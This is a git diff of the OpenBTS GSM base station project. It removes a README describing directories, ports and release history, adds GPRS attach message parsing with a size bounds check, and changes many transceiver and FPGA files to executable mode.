./NodeManager/install_libzmq.sh - -For additional information, refer to http://openbts.org. - - -These are the directories: - -AsteriskConfig Asterisk configuration files for use with OpenBTS. -CommonLib Common-use libraries, mostly C++ wrappers for basic facilities. -Control Control-layer functions for the protocols of GSM 04.08 and SIP. -GSM The GSM stack. -RRLP Radio Resource Location Protocol -SIP Components of the SIP state machines ued by the control layer. -SMS The SMS stack. -SR The subscriber registry. -TRXManager The interface between the GSM stack and the radio. -Transceiver The software transceiver and specific installation tests. -apps OpenBTS application binaries. -doc Project documentation. -tests Test fixtures for subsets of OpenBTS components. -smqueue RFC-3428 store-and-forward server for SMS - - - -By default, OpenBTS assumes the following UDP port assignments: - -5060 -- Asterisk SIP interface -5061 -- local SIP softphone -5062 -- OpenBTS SIP interface -5063 -- smqueue SIP interface -5064 -- subscriber registry SIP interface -5700-range -- OpenBTS-transceiver interface - -These can be controlled in the CONFIG table in /etc/OpenBTS.db. - -Standrd paths: -/OpenBTS -- Binary installation and authorization keys. -/etc/OpenBTS -- Configuration databases. -/var/run/ -- Real-time reporting databases. - -The script apps/setUpFiles.sh will create these directories and install the -correct files in them. - - -Releases 2.5 and later include the smqueue SMS server. It is NOT part of the -normal GNU build process with the rest of OpenBTS. To build smqueue, go -into the smqueue directory and just type "make -f Makefile.standalone". - - - -Release history: - -Release Name SVN Reposiory SVN Rev Comments - -1.0 (none) SF.net ?? completed L1, L2 - -1.1 Arnaudville GNU Radio r10019 (trunk) - -1.2 Breaux Bridge GNU Radio r10088 (trunk) GNU Build, very early assignment - -1.3 Carencro KSP r1 (trunk) first post-injunction release - -1.4 Donaldsonville KSP r23 (trunk) fixed Ubuntu build error - -1.5 Eunice KSP r39 (trunk) fixed L2 bugs related to segmentation - removed incomplete SMS directory - moved "abort" calls into L3 subclasses - -1.6 New Iberia KSP r130 (trunk) import of all 2.2 improvements to non-SMS release - - -2.0 St. Francisville KSP r54 (smswork) SMS support - file-based configuration - -2.1 Grand Coteau KSP r70 (smswork) DTMF support - fixed more Linux-related build errors - -lpthread - TLMessage constructor - expanded stack to prevent overflows in Linux - moved gSIPInterface to main app - fixed iterator bug in Pager - -2.2 Houma KSP r122 (smswork) added LEGAL notice - removed Assert classes - stop paging on page response - fixed Pager-spin bug - fixed Transceiver spin bugs - fixed 2^32 microsecond rollover bug - reduced stack footprints in Transceiver - fixed SMS timestamps - check LAI before using TMSI in LUR - reduced memory requirement by 75% - removed PagerTest - fixed stale-transaction bug in paging handler - fixed USRP clock rollover bug - faster call connection - new USRPDevice design - -2.3 Jean Lafitte KSP r190? (trunk) check for out-of-date RACH bursts - better TRX-GSM clock sync - formal logging system - command line interface - emergency call setup - -2.4 Kinder KSP r208? (trunk) fixed BCCH neighbor list bug - support for neighbor lists - fixed support for non-local Asterisk servers - cleaner configuration management - more realtime control of BCCH parameters - proper rejection of Hold messages - fixed L3 hanging bug in MTDCheckBYE - -2.4.1 Kinder KSP r462 fixed lots of valgrind errors - -2.4.2 Kinder KSP r482 zero-length calling party number bug - g++ 4.4 #includes - -2.5 Lacassine KSP r551 imported Joshua Lackey patches - SIP fixes from Anne Kwong - SIP fixes from testing with SMS server - L3 TI handling fixes - SMS server support - GNU Radio 3.2 compatibility - configurable max range and LU-reject cause - "page" & "testcall" CLI features - -2.5.1 Lacassine KSP r595 fixed some build bugs for some Linux distros - -2.5.2 Lacassine KSP r630 fixed channel assignment bug for Nokia DCT4+ handsets - -2.5.3 Lacassine KSP r756 merged fix for transceiver startup crash - due to use of uninitialized variables (r646) - merged fix for fusb bug from trunk (r582) - -2.5.4 Lacassine KSP r812 merged fixes to build under latest Fedora and - to build with git GnuRadio (r814) - -2.6 Mamou KSP r886 fixed infamous fusb bug (r582) - fixed idle-filling table size bug - smoother uplink power control - load-limiting downlink power control - new "config" features (optional, static) - IMEI interrogation - fixed MOD "missing FIFO" bug - configurable short code features - fixed transceiver startup crash (r646) - readline support is back - fixed timing advance bug (r844) - added CLI "chans" command - track time-of-use in TMSI table (r844) - added CLI "noise" command (r844) - added CLI "rxpower" command (r844) - added CLI "unconfig" command - -2.7 Natchitoches Range rxxx converted TMSITable to sqlite3 (r902) - sqlite3-based configuration (r???) - converted Logger to syslogd (r903) - added support for rest octets (r1022) - external database for transaction reporting (r1184) - external database for channel status reporting (r1203) - in-call delivery and submission of text messages (r1231) - RFC-2833 DMTF (r1249) - -2.8 Opelousas Range rxxx added SHA1/RSA image verification - move databases to /etc and /var - SIP-based authentication - -2.9 Plaquemine Range socket-based remote CLI - merge-in of "S" Release diff --git a/README.APIs.md b/README.APIs.md old mode 100644 new mode 100755 diff --git a/SGSNGGSN/GPRSL3Messages.cpp b/SGSNGGSN/GPRSL3Messages.cpp old mode 100644 new mode 100755 index 62f1ccd5..f2a35454 --- a/SGSNGGSN/GPRSL3Messages.cpp +++ b/SGSNGGSN/GPRSL3Messages.cpp @@ -367,6 +367,22 @@ void GMMAttach::gmParseIEs(L3GmmFrame &src, size_t &rp, const char *culprit) mTmsiStatus = iei & 1; continue; } + if ((iei & 0xf0) == 0xd0) { + // 10.5.7.8 Device properties. Ignore for now + continue; + } + if ((iei & 0xf0) == 0xe0) { + // 10.5.5.29 P-TMSI type. Ignore for now + continue; + } + if ((iei & 0xf0) == 0xc0) { + // 10.5.1.15 MS network feature support. Ignore for now + continue; + } + if ((iei & 0xf0) == 0xf0) { + // 10.5.5.0 Additional update type. Ignore for now + continue; + } switch (iei) { case 0x19: // TV Old P-TMSI signature. // Dont have a 3 byte 'read' function so use getField then advance rp by 3. @@ -385,6 +401,10 @@ void GMMAttach::gmParseIEs(L3GmmFrame &src, size_t &rp, const char *culprit) // The specified length is of the ie itself, excluding the iei type and length byte. // Get the length, but dont move rp - let the IEs do that, because // some of them need the length byte. + if (rp >= src.size()) { + SGSNERROR("invalid message size in "< @@ -41,8 +37,6 @@ class SMSReadError : public GSM::GSMError { #define SMS_READ_ERROR {throw SMSReadError();} - - /**@name SMS Transport Layer (TL) */ //@{ diff --git a/SMS/SMSTransfer.cpp b/SMS/SMSTransfer.cpp old mode 100644 new mode 100755 diff --git a/SMS/SMSTransfer.h b/SMS/SMSTransfer.h old mode 100644 new mode 100755 diff --git a/Scanning/Makefile.am b/Scanning/Makefile.am old mode 100644 new mode 100755 diff --git a/Scanning/Scanning.cpp b/Scanning/Scanning.cpp old mode 100644 new mode 100755 diff --git a/Scanning/Scanning.h b/Scanning/Scanning.h old mode 100644 new mode 100755 diff --git a/TRXManager/Makefile.am b/TRXManager/Makefile.am old mode 100644 new mode 100755 diff --git a/TRXManager/README.TRXManager b/TRXManager/README.TRXManager old mode 100644 new mode 100755 diff --git a/TRXManager/TRXManager.cpp b/TRXManager/TRXManager.cpp old mode 100644 new mode 100755 diff --git a/TRXManager/TRXManager.h b/TRXManager/TRXManager.h old mode 100644 new mode 100755 diff --git a/Transceiver52M/Complex.h b/Transceiver52M/Complex.h old mode 100644 new mode 100755 diff --git a/Transceiver52M/DummyLoad.cpp b/Transceiver52M/DummyLoad.cpp old mode 100644 new mode 100755 diff --git a/Transceiver52M/DummyLoad.h b/Transceiver52M/DummyLoad.h old mode 100644 new mode 100755 diff --git a/Transceiver52M/Makefile.am b/Transceiver52M/Makefile.am old mode 100644 new mode 100755 diff --git a/Transceiver52M/README b/Transceiver52M/README old mode 100644 new mode 100755 diff --git a/Transceiver52M/README.DFEsymbolspaced b/Transceiver52M/README.DFEsymbolspaced old mode 100644 new mode 100755 diff --git a/Transceiver52M/README.Talgorithm b/Transceiver52M/README.Talgorithm old mode 100644 new mode 100755 diff --git a/Transceiver52M/Resampler.cpp b/Transceiver52M/Resampler.cpp old mode 100644 new mode 100755 diff --git a/Transceiver52M/Resampler.h b/Transceiver52M/Resampler.h old mode 100644 new mode 100755 diff --git a/Transceiver52M/Transceiver.cpp b/Transceiver52M/Transceiver.cpp old mode 100644 new mode 100755 diff --git a/Transceiver52M/Transceiver.h b/Transceiver52M/Transceiver.h old mode 100644 new mode 100755 diff --git a/Transceiver52M/UHDDevice.cpp b/Transceiver52M/UHDDevice.cpp old mode 100644 new mode 100755 diff --git a/Transceiver52M/USRPDevice.cpp b/Transceiver52M/USRPDevice.cpp old mode 100644 new mode 100755 diff --git a/Transceiver52M/USRPDevice.h b/Transceiver52M/USRPDevice.h old mode 100644 new mode 100755 diff --git a/Transceiver52M/convert.c b/Transceiver52M/convert.c old mode 100644 new mode 100755 diff --git a/Transceiver52M/convert.h b/Transceiver52M/convert.h old mode 100644 new mode 100755 diff --git a/Transceiver52M/convolve.c b/Transceiver52M/convolve.c old mode 100644 new mode 100755 diff --git a/Transceiver52M/convolve.h b/Transceiver52M/convolve.h old mode 100644 new mode 100755 diff --git a/Transceiver52M/inband-signaling-usb b/Transceiver52M/inband-signaling-usb old mode 100644 new mode 100755 diff --git a/Transceiver52M/laurent.m b/Transceiver52M/laurent.m old mode 100644 new mode 100755 diff --git a/Transceiver52M/pulseApproximate.m b/Transceiver52M/pulseApproximate.m old mode 100644 new mode 100755 diff --git a/Transceiver52M/radioClock.cpp b/Transceiver52M/radioClock.cpp old mode 100644 new mode 100755 diff --git a/Transceiver52M/radioClock.h b/Transceiver52M/radioClock.h old mode 100644 new mode 100755 diff --git a/Transceiver52M/radioDevice.h b/Transceiver52M/radioDevice.h old mode 100644 new mode 100755 diff --git a/Transceiver52M/radioInterface.cpp b/Transceiver52M/radioInterface.cpp old mode 100644 new mode 100755 diff --git a/Transceiver52M/radioInterface.h b/Transceiver52M/radioInterface.h old mode 100644 new mode 100755 diff --git a/Transceiver52M/radioInterfaceResamp.cpp b/Transceiver52M/radioInterfaceResamp.cpp old mode 100644 new mode 100755 diff --git a/Transceiver52M/radioVector.cpp b/Transceiver52M/radioVector.cpp old mode 100644 new mode 100755 diff --git a/Transceiver52M/radioVector.h b/Transceiver52M/radioVector.h old mode 100644 new mode 100755 diff --git a/Transceiver52M/runTransceiver.cpp b/Transceiver52M/runTransceiver.cpp old mode 100644 new mode 100755 diff --git a/Transceiver52M/sigProcLib.cpp b/Transceiver52M/sigProcLib.cpp old mode 100644 new mode 100755 diff --git a/Transceiver52M/sigProcLib.h b/Transceiver52M/sigProcLib.h old mode 100644 new mode 100755 diff --git a/TransceiverRAD1/Complex.h b/TransceiverRAD1/Complex.h old mode 100644 new mode 100755 diff --git a/TransceiverRAD1/DummyLoad.cpp b/TransceiverRAD1/DummyLoad.cpp old mode 100644 new mode 100755 diff --git a/TransceiverRAD1/DummyLoad.h b/TransceiverRAD1/DummyLoad.h old mode 100644 new mode 100755 diff --git a/TransceiverRAD1/FactoryCalibration.cpp b/TransceiverRAD1/FactoryCalibration.cpp old mode 100644 new mode 100755 diff --git a/TransceiverRAD1/FactoryCalibration.h b/TransceiverRAD1/FactoryCalibration.h old mode 100644 new mode 100755 diff --git a/TransceiverRAD1/Makefile.am b/TransceiverRAD1/Makefile.am old mode 100644 new mode 100755 diff --git a/TransceiverRAD1/PowerScanner.cpp b/TransceiverRAD1/PowerScanner.cpp old mode 100644 new mode 100755 diff --git a/TransceiverRAD1/RAD1Cmd.cpp b/TransceiverRAD1/RAD1Cmd.cpp old mode 100644 new mode 100755 diff --git a/TransceiverRAD1/RAD1Device.cpp b/TransceiverRAD1/RAD1Device.cpp old mode 100644 new mode 100755 diff --git a/TransceiverRAD1/RAD1Device.h b/TransceiverRAD1/RAD1Device.h old mode 100644 new mode 100755 diff --git a/TransceiverRAD1/RAD1RxRawPower.cpp b/TransceiverRAD1/RAD1RxRawPower.cpp old mode 100644 new mode 100755 diff --git a/TransceiverRAD1/RAD1RxRawPowerSweep.cpp b/TransceiverRAD1/RAD1RxRawPowerSweep.cpp old mode 100644 new mode 100755 diff --git a/TransceiverRAD1/RAD1SN.cpp b/TransceiverRAD1/RAD1SN.cpp old mode 100644 new mode 100755 diff --git a/TransceiverRAD1/RAD1ping.cpp b/TransceiverRAD1/RAD1ping.cpp old mode 100644 new mode 100755 diff --git a/TransceiverRAD1/README b/TransceiverRAD1/README old mode 100644 new mode 100755 diff --git a/TransceiverRAD1/README.DFEsymbolspaced b/TransceiverRAD1/README.DFEsymbolspaced old mode 100644 new mode 100755 diff --git a/TransceiverRAD1/README.Talgorithm b/TransceiverRAD1/README.Talgorithm old mode 100644 new mode 100755 diff --git a/TransceiverRAD1/Transceiver.cpp b/TransceiverRAD1/Transceiver.cpp old mode 100644 new mode 100755 diff --git a/TransceiverRAD1/Transceiver.h b/TransceiverRAD1/Transceiver.h old mode 100644 new mode 100755 diff --git a/TransceiverRAD1/ad9862.h b/TransceiverRAD1/ad9862.h old mode 100644 new mode 100755 diff --git a/TransceiverRAD1/bytesex.h b/TransceiverRAD1/bytesex.h old mode 100644 new mode 100755 diff --git a/TransceiverRAD1/commands.h b/TransceiverRAD1/commands.h old mode 100644 new mode 100755 diff --git a/TransceiverRAD1/ezusb.ihx b/TransceiverRAD1/ezusb.ihx old mode 100644 new mode 100755 diff --git a/TransceiverRAD1/fpga.rbf b/TransceiverRAD1/fpga.rbf old mode 100644 new mode 100755 diff --git a/TransceiverRAD1/fpga/README.RAD1 b/TransceiverRAD1/fpga/README.RAD1 old mode 100644 new mode 100755 diff --git a/TransceiverRAD1/fpga/inband_lib/chan_fifo_reader.v b/TransceiverRAD1/fpga/inband_lib/chan_fifo_reader.v old mode 100644 new mode 100755 diff --git a/TransceiverRAD1/fpga/inband_lib/channel_demux.v b/TransceiverRAD1/fpga/inband_lib/channel_demux.v old mode 100644 new mode 100755 diff --git a/TransceiverRAD1/fpga/inband_lib/channel_ram.v b/TransceiverRAD1/fpga/inband_lib/channel_ram.v old mode 100644 new mode 100755 diff --git a/TransceiverRAD1/fpga/inband_lib/cmd_reader.v b/TransceiverRAD1/fpga/inband_lib/cmd_reader.v old mode 100644 new mode 100755 diff --git a/TransceiverRAD1/fpga/inband_lib/data_packet_fifo.v b/TransceiverRAD1/fpga/inband_lib/data_packet_fifo.v old mode 100644 new mode 100755 diff --git a/TransceiverRAD1/fpga/inband_lib/packet_builder.v b/TransceiverRAD1/fpga/inband_lib/packet_builder.v old mode 100644 new mode 100755 diff --git a/TransceiverRAD1/fpga/inband_lib/register_io.v b/TransceiverRAD1/fpga/inband_lib/register_io.v old mode 100644 new mode 100755 diff --git a/TransceiverRAD1/fpga/inband_lib/rx_buffer_inband.v b/TransceiverRAD1/fpga/inband_lib/rx_buffer_inband.v old mode 100644 new mode 100755 diff --git a/TransceiverRAD1/fpga/inband_lib/test_comparator.v b/TransceiverRAD1/fpga/inband_lib/test_comparator.v old mode 100644 new mode 100755 diff --git a/TransceiverRAD1/fpga/inband_lib/tx_buffer_inband.v b/TransceiverRAD1/fpga/inband_lib/tx_buffer_inband.v old mode 100644 new mode 100755 diff --git a/TransceiverRAD1/fpga/inband_lib/tx_packer.v b/TransceiverRAD1/fpga/inband_lib/tx_packer.v old mode 100644 new mode 100755 diff --git a/TransceiverRAD1/fpga/inband_lib/usb_fifo_reader.v b/TransceiverRAD1/fpga/inband_lib/usb_fifo_reader.v old mode 100644 new mode 100755 diff --git a/TransceiverRAD1/fpga/inband_lib/usb_fifo_writer.v b/TransceiverRAD1/fpga/inband_lib/usb_fifo_writer.v old mode 100644 new mode 100755 diff --git a/TransceiverRAD1/fpga/inband_lib/usb_packet_fifo.v b/TransceiverRAD1/fpga/inband_lib/usb_packet_fifo.v old mode 100644 new mode 100755 diff --git a/TransceiverRAD1/fpga/megacells/accum32.bsf b/TransceiverRAD1/fpga/megacells/accum32.bsf old mode 100644 new mode 100755 diff --git a/TransceiverRAD1/fpga/megacells/accum32.cmp b/TransceiverRAD1/fpga/megacells/accum32.cmp old mode 100644 new mode 100755 diff --git a/TransceiverRAD1/fpga/megacells/accum32.inc b/TransceiverRAD1/fpga/megacells/accum32.inc old mode 100644 new mode 100755 diff --git a/TransceiverRAD1/fpga/megacells/accum32.v b/TransceiverRAD1/fpga/megacells/accum32.v old mode 100644 new mode 100755 diff --git a/TransceiverRAD1/fpga/megacells/accum32_bb.v b/TransceiverRAD1/fpga/megacells/accum32_bb.v old mode 100644 new mode 100755 diff --git a/TransceiverRAD1/fpga/megacells/accum32_inst.v b/TransceiverRAD1/fpga/megacells/accum32_inst.v old mode 100644 new mode 100755 diff --git a/TransceiverRAD1/fpga/megacells/add32.bsf b/TransceiverRAD1/fpga/megacells/add32.bsf old mode 100644 new mode 100755 diff --git a/TransceiverRAD1/fpga/megacells/add32.cmp b/TransceiverRAD1/fpga/megacells/add32.cmp old mode 100644 new mode 100755 diff --git a/TransceiverRAD1/fpga/megacells/add32.inc b/TransceiverRAD1/fpga/megacells/add32.inc old mode 100644 new mode 100755 diff --git a/TransceiverRAD1/fpga/megacells/add32.v b/TransceiverRAD1/fpga/megacells/add32.v old mode 100644 new mode 100755 diff --git a/TransceiverRAD1/fpga/megacells/add32_bb.v b/TransceiverRAD1/fpga/megacells/add32_bb.v old mode 100644 new mode 100755 diff --git a/TransceiverRAD1/fpga/megacells/add32_inst.v b/TransceiverRAD1/fpga/megacells/add32_inst.v old mode 100644 new mode 100755 diff --git a/TransceiverRAD1/fpga/megacells/addsub16.bsf b/TransceiverRAD1/fpga/megacells/addsub16.bsf old mode 100644 new mode 100755 diff --git a/TransceiverRAD1/fpga/megacells/addsub16.cmp b/TransceiverRAD1/fpga/megacells/addsub16.cmp old mode 100644 new mode 100755 diff --git a/TransceiverRAD1/fpga/megacells/addsub16.inc b/TransceiverRAD1/fpga/megacells/addsub16.inc old mode 100644 new mode 100755 diff --git a/TransceiverRAD1/fpga/megacells/addsub16.v b/TransceiverRAD1/fpga/megacells/addsub16.v old mode 100644 new mode 100755 diff --git a/TransceiverRAD1/fpga/megacells/addsub16_bb.v b/TransceiverRAD1/fpga/megacells/addsub16_bb.v old mode 100644 new mode 100755 diff --git a/TransceiverRAD1/fpga/megacells/addsub16_inst.v b/TransceiverRAD1/fpga/megacells/addsub16_inst.v old mode 100644 new mode 100755 diff --git a/TransceiverRAD1/fpga/megacells/bustri.bsf b/TransceiverRAD1/fpga/megacells/bustri.bsf old mode 100644 new mode 100755 diff --git a/TransceiverRAD1/fpga/megacells/bustri.cmp b/TransceiverRAD1/fpga/megacells/bustri.cmp old mode 100644 new mode 100755 diff --git a/TransceiverRAD1/fpga/megacells/bustri.inc b/TransceiverRAD1/fpga/megacells/bustri.inc old mode 100644 new mode 100755 diff --git a/TransceiverRAD1/fpga/megacells/bustri.v b/TransceiverRAD1/fpga/megacells/bustri.v old mode 100644 new mode 100755 diff --git a/TransceiverRAD1/fpga/megacells/bustri_bb.v b/TransceiverRAD1/fpga/megacells/bustri_bb.v old mode 100644 new mode 100755 diff --git a/TransceiverRAD1/fpga/megacells/bustri_inst.v b/TransceiverRAD1/fpga/megacells/bustri_inst.v old mode 100644 new mode 100755 diff --git a/TransceiverRAD1/fpga/megacells/clk_doubler.v b/TransceiverRAD1/fpga/megacells/clk_doubler.v old mode 100644 new mode 100755 diff --git a/TransceiverRAD1/fpga/megacells/clk_doubler_bb.v b/TransceiverRAD1/fpga/megacells/clk_doubler_bb.v old mode 100644 new mode 100755 diff --git a/TransceiverRAD1/fpga/megacells/dspclkpll.v b/TransceiverRAD1/fpga/megacells/dspclkpll.v old mode 100644 new mode 100755 diff --git a/TransceiverRAD1/fpga/megacells/dspclkpll_bb.v b/TransceiverRAD1/fpga/megacells/dspclkpll_bb.v old mode 100644 new mode 100755 diff --git a/TransceiverRAD1/fpga/megacells/fifo_1kx16.bsf b/TransceiverRAD1/fpga/megacells/fifo_1kx16.bsf old mode 100644 new mode 100755 diff --git a/TransceiverRAD1/fpga/megacells/fifo_1kx16.cmp b/TransceiverRAD1/fpga/megacells/fifo_1kx16.cmp old mode 100644 new mode 100755 diff --git a/TransceiverRAD1/fpga/megacells/fifo_1kx16.inc b/TransceiverRAD1/fpga/megacells/fifo_1kx16.inc old mode 100644 new mode 100755 diff --git a/TransceiverRAD1/fpga/megacells/fifo_1kx16.v b/TransceiverRAD1/fpga/megacells/fifo_1kx16.v old mode 100644 new mode 100755 diff --git a/TransceiverRAD1/fpga/megacells/fifo_1kx16_bb.v b/TransceiverRAD1/fpga/megacells/fifo_1kx16_bb.v old mode 100644 new mode 100755 diff --git a/TransceiverRAD1/fpga/megacells/fifo_1kx16_inst.v b/TransceiverRAD1/fpga/megacells/fifo_1kx16_inst.v old mode 100644 new mode 100755 diff --git a/TransceiverRAD1/fpga/megacells/fifo_2k.v b/TransceiverRAD1/fpga/megacells/fifo_2k.v old mode 100644 new mode 100755 diff --git a/TransceiverRAD1/fpga/megacells/fifo_2k_bb.v b/TransceiverRAD1/fpga/megacells/fifo_2k_bb.v old mode 100644 new mode 100755 diff --git a/TransceiverRAD1/fpga/megacells/fifo_4k.v b/TransceiverRAD1/fpga/megacells/fifo_4k.v old mode 100644 new mode 100755 diff --git a/TransceiverRAD1/fpga/megacells/fifo_4k_18.v b/TransceiverRAD1/fpga/megacells/fifo_4k_18.v old mode 100644 new mode 100755 diff --git a/TransceiverRAD1/fpga/megacells/fifo_4k_bb.v b/TransceiverRAD1/fpga/megacells/fifo_4k_bb.v old mode 100644 new mode 100755 diff --git a/TransceiverRAD1/fpga/megacells/fifo_4kx16_dc.bsf b/TransceiverRAD1/fpga/megacells/fifo_4kx16_dc.bsf old mode 100644 new mode 100755 diff --git a/TransceiverRAD1/fpga/megacells/fifo_4kx16_dc.cmp b/TransceiverRAD1/fpga/megacells/fifo_4kx16_dc.cmp old mode 100644 new mode 100755 diff --git a/TransceiverRAD1/fpga/megacells/fifo_4kx16_dc.inc b/TransceiverRAD1/fpga/megacells/fifo_4kx16_dc.inc old mode 100644 new mode 100755 diff --git a/TransceiverRAD1/fpga/megacells/fifo_4kx16_dc.v b/TransceiverRAD1/fpga/megacells/fifo_4kx16_dc.v old mode 100644 new mode 100755 diff --git a/TransceiverRAD1/fpga/megacells/fifo_4kx16_dc_bb.v b/TransceiverRAD1/fpga/megacells/fifo_4kx16_dc_bb.v old mode 100644 new mode 100755 diff --git a/TransceiverRAD1/fpga/megacells/fifo_4kx16_dc_inst.v b/TransceiverRAD1/fpga/megacells/fifo_4kx16_dc_inst.v old mode 100644 new mode 100755 diff --git a/TransceiverRAD1/fpga/megacells/mylpm_addsub.bsf b/TransceiverRAD1/fpga/megacells/mylpm_addsub.bsf old mode 100644 new mode 100755 diff --git a/TransceiverRAD1/fpga/megacells/mylpm_addsub.cmp b/TransceiverRAD1/fpga/megacells/mylpm_addsub.cmp old mode 100644 new mode 100755 diff --git a/TransceiverRAD1/fpga/megacells/mylpm_addsub.inc b/TransceiverRAD1/fpga/megacells/mylpm_addsub.inc old mode 100644 new mode 100755 diff --git a/TransceiverRAD1/fpga/megacells/mylpm_addsub.v b/TransceiverRAD1/fpga/megacells/mylpm_addsub.v old mode 100644 new mode 100755 diff --git a/TransceiverRAD1/fpga/megacells/mylpm_addsub_bb.v b/TransceiverRAD1/fpga/megacells/mylpm_addsub_bb.v old mode 100644 new mode 100755 diff --git a/TransceiverRAD1/fpga/megacells/mylpm_addsub_inst.v b/TransceiverRAD1/fpga/megacells/mylpm_addsub_inst.v old mode 100644 new mode 100755 diff --git a/TransceiverRAD1/fpga/megacells/pll.v b/TransceiverRAD1/fpga/megacells/pll.v old mode 100644 new mode 100755 diff --git a/TransceiverRAD1/fpga/megacells/pll_bb.v b/TransceiverRAD1/fpga/megacells/pll_bb.v old mode 100644 new mode 100755 diff --git a/TransceiverRAD1/fpga/megacells/pll_inst.v b/TransceiverRAD1/fpga/megacells/pll_inst.v old mode 100644 new mode 100755 diff --git a/TransceiverRAD1/fpga/megacells/sub32.bsf b/TransceiverRAD1/fpga/megacells/sub32.bsf old mode 100644 new mode 100755 diff --git a/TransceiverRAD1/fpga/megacells/sub32.cmp b/TransceiverRAD1/fpga/megacells/sub32.cmp old mode 100644 new mode 100755 diff --git a/TransceiverRAD1/fpga/megacells/sub32.inc b/TransceiverRAD1/fpga/megacells/sub32.inc old mode 100644 new mode 100755 diff --git a/TransceiverRAD1/fpga/megacells/sub32.v b/TransceiverRAD1/fpga/megacells/sub32.v old mode 100644 new mode 100755 diff --git a/TransceiverRAD1/fpga/megacells/sub32_bb.v b/TransceiverRAD1/fpga/megacells/sub32_bb.v old mode 100644 new mode 100755 diff --git a/TransceiverRAD1/fpga/megacells/sub32_inst.v b/TransceiverRAD1/fpga/megacells/sub32_inst.v old mode 100644 new mode 100755 diff --git a/TransceiverRAD1/fpga/models/bustri.v b/TransceiverRAD1/fpga/models/bustri.v old mode 100644 new mode 100755 diff --git a/TransceiverRAD1/fpga/models/fifo.v b/TransceiverRAD1/fpga/models/fifo.v old mode 100644 new mode 100755 diff --git a/TransceiverRAD1/fpga/models/fifo_1c_1k.v b/TransceiverRAD1/fpga/models/fifo_1c_1k.v old mode 100644 new mode 100755 diff --git a/TransceiverRAD1/fpga/models/fifo_1c_2k.v b/TransceiverRAD1/fpga/models/fifo_1c_2k.v old mode 100644 new mode 100755 diff --git a/TransceiverRAD1/fpga/models/fifo_1c_4k.v b/TransceiverRAD1/fpga/models/fifo_1c_4k.v old mode 100644 new mode 100755 diff --git a/TransceiverRAD1/fpga/models/fifo_1k.v b/TransceiverRAD1/fpga/models/fifo_1k.v old mode 100644 new mode 100755 diff --git a/TransceiverRAD1/fpga/models/fifo_2k.v b/TransceiverRAD1/fpga/models/fifo_2k.v old mode 100644 new mode 100755 diff --git a/TransceiverRAD1/fpga/models/fifo_4k.v b/TransceiverRAD1/fpga/models/fifo_4k.v old mode 100644 new mode 100755 diff --git a/TransceiverRAD1/fpga/models/fifo_4k_18.v b/TransceiverRAD1/fpga/models/fifo_4k_18.v old mode 100644 new mode 100755 diff --git a/TransceiverRAD1/fpga/models/pll.v b/TransceiverRAD1/fpga/models/pll.v old mode 100644 new mode 100755 diff --git a/TransceiverRAD1/fpga/models/ssram.v b/TransceiverRAD1/fpga/models/ssram.v old mode 100644 new mode 100755 diff --git a/TransceiverRAD1/fpga/sdr_lib/adc_interface.v b/TransceiverRAD1/fpga/sdr_lib/adc_interface.v old mode 100644 new mode 100755 diff --git a/TransceiverRAD1/fpga/sdr_lib/atr_delay.v b/TransceiverRAD1/fpga/sdr_lib/atr_delay.v old mode 100644 new mode 100755 diff --git a/TransceiverRAD1/fpga/sdr_lib/bidir_reg.v b/TransceiverRAD1/fpga/sdr_lib/bidir_reg.v old mode 100644 new mode 100755 diff --git a/TransceiverRAD1/fpga/sdr_lib/cic_dec_shifter.v b/TransceiverRAD1/fpga/sdr_lib/cic_dec_shifter.v old mode 100644 new mode 100755 diff --git a/TransceiverRAD1/fpga/sdr_lib/cic_decim.v b/TransceiverRAD1/fpga/sdr_lib/cic_decim.v old mode 100644 new mode 100755 diff --git a/TransceiverRAD1/fpga/sdr_lib/cic_int_shifter.v b/TransceiverRAD1/fpga/sdr_lib/cic_int_shifter.v old mode 100644 new mode 100755 diff --git a/TransceiverRAD1/fpga/sdr_lib/cic_interp.v b/TransceiverRAD1/fpga/sdr_lib/cic_interp.v old mode 100644 new mode 100755 diff --git a/TransceiverRAD1/fpga/sdr_lib/clk_divider.v b/TransceiverRAD1/fpga/sdr_lib/clk_divider.v old mode 100644 new mode 100755 diff --git a/TransceiverRAD1/fpga/sdr_lib/cordic.v b/TransceiverRAD1/fpga/sdr_lib/cordic.v old mode 100644 new mode 100755 diff --git a/TransceiverRAD1/fpga/sdr_lib/cordic_stage.v b/TransceiverRAD1/fpga/sdr_lib/cordic_stage.v old mode 100644 new mode 100755 diff --git a/TransceiverRAD1/fpga/sdr_lib/ddc.v b/TransceiverRAD1/fpga/sdr_lib/ddc.v old mode 100644 new mode 100755 diff --git a/TransceiverRAD1/fpga/sdr_lib/dpram.v b/TransceiverRAD1/fpga/sdr_lib/dpram.v old mode 100644 new mode 100755 diff --git a/TransceiverRAD1/fpga/sdr_lib/duc.v b/TransceiverRAD1/fpga/sdr_lib/duc.v old mode 100644 new mode 100755 diff --git a/TransceiverRAD1/fpga/sdr_lib/ext_fifo.v b/TransceiverRAD1/fpga/sdr_lib/ext_fifo.v old mode 100644 new mode 100755 diff --git a/TransceiverRAD1/fpga/sdr_lib/fifo_1kx16.bsf b/TransceiverRAD1/fpga/sdr_lib/fifo_1kx16.bsf old mode 100644 new mode 100755 diff --git a/TransceiverRAD1/fpga/sdr_lib/fifo_1kx16.cmp b/TransceiverRAD1/fpga/sdr_lib/fifo_1kx16.cmp old mode 100644 new mode 100755 diff --git a/TransceiverRAD1/fpga/sdr_lib/fifo_1kx16.inc b/TransceiverRAD1/fpga/sdr_lib/fifo_1kx16.inc old mode 100644 new mode 100755 diff --git a/TransceiverRAD1/fpga/sdr_lib/fifo_1kx16.v b/TransceiverRAD1/fpga/sdr_lib/fifo_1kx16.v old mode 100644 new mode 100755 diff --git a/TransceiverRAD1/fpga/sdr_lib/fifo_1kx16_bb.v b/TransceiverRAD1/fpga/sdr_lib/fifo_1kx16_bb.v old mode 100644 new mode 100755 diff --git a/TransceiverRAD1/fpga/sdr_lib/fifo_1kx16_inst.v b/TransceiverRAD1/fpga/sdr_lib/fifo_1kx16_inst.v old mode 100644 new mode 100755 diff --git a/TransceiverRAD1/fpga/sdr_lib/fifo_4kx16_dc.bsf b/TransceiverRAD1/fpga/sdr_lib/fifo_4kx16_dc.bsf old mode 100644 new mode 100755 diff --git a/TransceiverRAD1/fpga/sdr_lib/fifo_4kx16_dc.cmp b/TransceiverRAD1/fpga/sdr_lib/fifo_4kx16_dc.cmp old mode 100644 new mode 100755 diff --git a/TransceiverRAD1/fpga/sdr_lib/fifo_4kx16_dc.inc b/TransceiverRAD1/fpga/sdr_lib/fifo_4kx16_dc.inc old mode 100644 new mode 100755 diff --git 